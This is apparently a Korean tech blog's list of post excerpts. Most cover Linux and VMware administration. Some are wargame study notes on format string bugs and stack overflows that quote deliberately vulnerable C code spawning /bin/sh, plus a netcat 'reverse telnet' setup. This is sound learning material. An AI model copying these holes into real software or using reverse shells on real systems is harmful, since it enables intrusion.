FSB (Format String Bug) 정리

/ 해당 문서는 공부를 하며 정리한 내용으로 틀린 부분이 있을수도 있습니다. / 해커스쿨 level20 문제를 풀어보면서 FSB (Format String Bug)에 대해 알아보자. #include <stdio.h> main(int argc,char **argv) { char bleh[80]; setreuid(3101,3101); fgets(bleh,79,stdin); printf(bleh); } 문제 소스는 다음과 같다. FSB는 printf(bleh) 와 같이 프로그래머의 귀차니즘(?)으로 인해 발생한다. 풀이과정은 다음과 같다. [level20@ftz level20]$ (python -c "print ‘AAAA’ …

SSH 접속 Port 변경 (SELinux 설정 방법)

Fedora 9에서 SSH 접속 Port 변경 시 데몬이 제대로 안뜨는 경우가 있다. selinux 때문인데 다음과 같이 수정하도록 한다. semange port -t ssh_port_t -p tcp 1234 만약 semange 명령어가 없다면 아래와 같이 찾아보면 된다. [root@localhost byjjoon]# yum whatprovides /usr/sbin/semanage Loaded plugins: fastestmirror Determining fastest mirrors * base: mirror.khlug.org * extras: mirror.khlug.org * updates: mirror.khlug.org base | …

FreeNX 설치 방법

http://www.nomachine.com/ 에서 다운로드 받는다. Client, Node, Server 순으로 설치를 한다. 설치 후 /usr/NX/scripts/setup/nxserver –install 실행 키 생성을 위해 /usr/NX/bin/nxserver –keygen 실행 /usr/NX/share/keys/default.id_dsa.key 내용을 클라이언트 프로그램 설정 부분에 키 항목에 추가. /usr/NX/etc/server.cfg 파일을 수정 EnableUserDB = "1" EnablePasswordDB = "1" EnableClipboard = "both" 계정 추가 및 암호설정을 위해 nxserver –useradd username 실행 데몬 재시작. /etc/init.d/nxserver restart …

FFMPEG & OpenCV 설치방법

1. Codec 설치 http://www.mplayerhq.hu 다음 사이트에서 코덱을 다운로드. tar xvjpf essential-20071007.tar.bz2 cd essential-20071007.tar.bz2 mkdir /usr/local/lib/codecs mv * /usr/local/lib/codecs/ chmod -R 755 /usr/local/lib/codecs/ 2. Lame MP3 encoder 설치 http://lame.sourceforge.net/index.php 에서 다운로드. tar xvfz lame-398-2.tar.gz cd lame-398-2 ./configure make make install 3.libogg, libvorbis 설치 하지만 CentOS 5.2에는 기본으로 깔려 있었다. 깔려 있는지 확인 하려면 아래와 같이 하면 …

VMware 부팅 시 Beep음 제거 방법

Linux : ~/.vmware/config Windows XP : Documents and Settings\All Users\Application Data\VMware\VMware Workstation\config.ini Windows Vista : ProgramData\VMware\VMware Workstation\config.ini 경로에 아래 내용 추가. mks.noBeep = "TRUE"

Argument list too long 에러 뜰 경우

cp 명령어 시 저런 에러가 나온다면 cp 대신 rsync 명령어로 대체하여 사용한다. rsync -aPv SOURCEDIR TARGETDIR 그 외 방법으로는 find와 xargs 명령어를 조합하여 사용하여 해결한다. find DIR -name 'FILENAME' | xargs -i{} cp {} TARGETDIR

Dotted decimal IP 와 Sngle decimal IP 의 변환

창원대학교 홈페이지를 예로 들어 설명 하겠습니다. 창원대 홈페이지의 IP 주소는 203.246.1.5 입니다. 이것을 Sngle decimal IP 로 변환 해보겠습니다. . 단위로 끊어서 16진수로 변환하고 16진수로 변환한것이 한자리수 일때는 앞에 0을 붙입니다. 203 = CB 246 = F6 1 = 01 5 = 05 이것을 붙여서 쓰고 다시 10진수로 변환하면 CBF60105 = 3421896965 이렇게 변환이 됩니다. …

리버스 텔넷

리버스 텔넷은 뜻 그대로 서버에서 본인의 컴퓨터로 텔넷으로 접속하게 하는 기술 입니다. 일반 적으로는 본인의 컴퓨터가 클라이언트가 되고, 접속하고자 하는 상대방의 컴퓨터가 서버가 되지만 리버스 텔넷은 이것이 반대가 된 주객이 전도된 상황을 의미 합니다. 이는 Netcat을 이용하여 할 수 있습니다. 윈도우 상이라면 자신의 컴퓨터에 2개의 콘솔창을 띄웁니다. nc -l -p 1024 nc -l -p 2048 …

VMware에서 레드헷9 설치 시 네트워크가 안되는 현상

오늘 Vmware에서 레드헷 9를 깔아서 좀 써보려 했으나 네트워크가 안되었다. 부팅중 메세지에 eth0부분이 케이블 연결이 안되었다는 메세지만 나올뿐이였다. 해결법. /etc/sysconfig/network-scripts/ifcfg-eth0 부분을 열어서 아래 라인 추가. check_link_down() { return 1; } 해결이 되었다.

스택 구조 확인.

/ 해당 내용은 공부를 하며 정리한 내용으로 틀린 부분이 있을수도 있습니다. / 해커스쿨(ftz.hackerschool.org:23) 워게임 Level 15번을 풀면서 정리한 내용입니다. 먼저 hint 파일을 보겠습니다. #include <stdio.h> main() { int crap; int *check; char buf[20]; fgets(buf,45,stdin); if (*check==0xdeadbeef) { setreuid(3096,3096); system("/bin/sh"); } } 소스를 보면 crap, check, buf순으로 선언이 되었음을 알수 있습니다. 스택이니 buf의 주소가 스택의 가장 …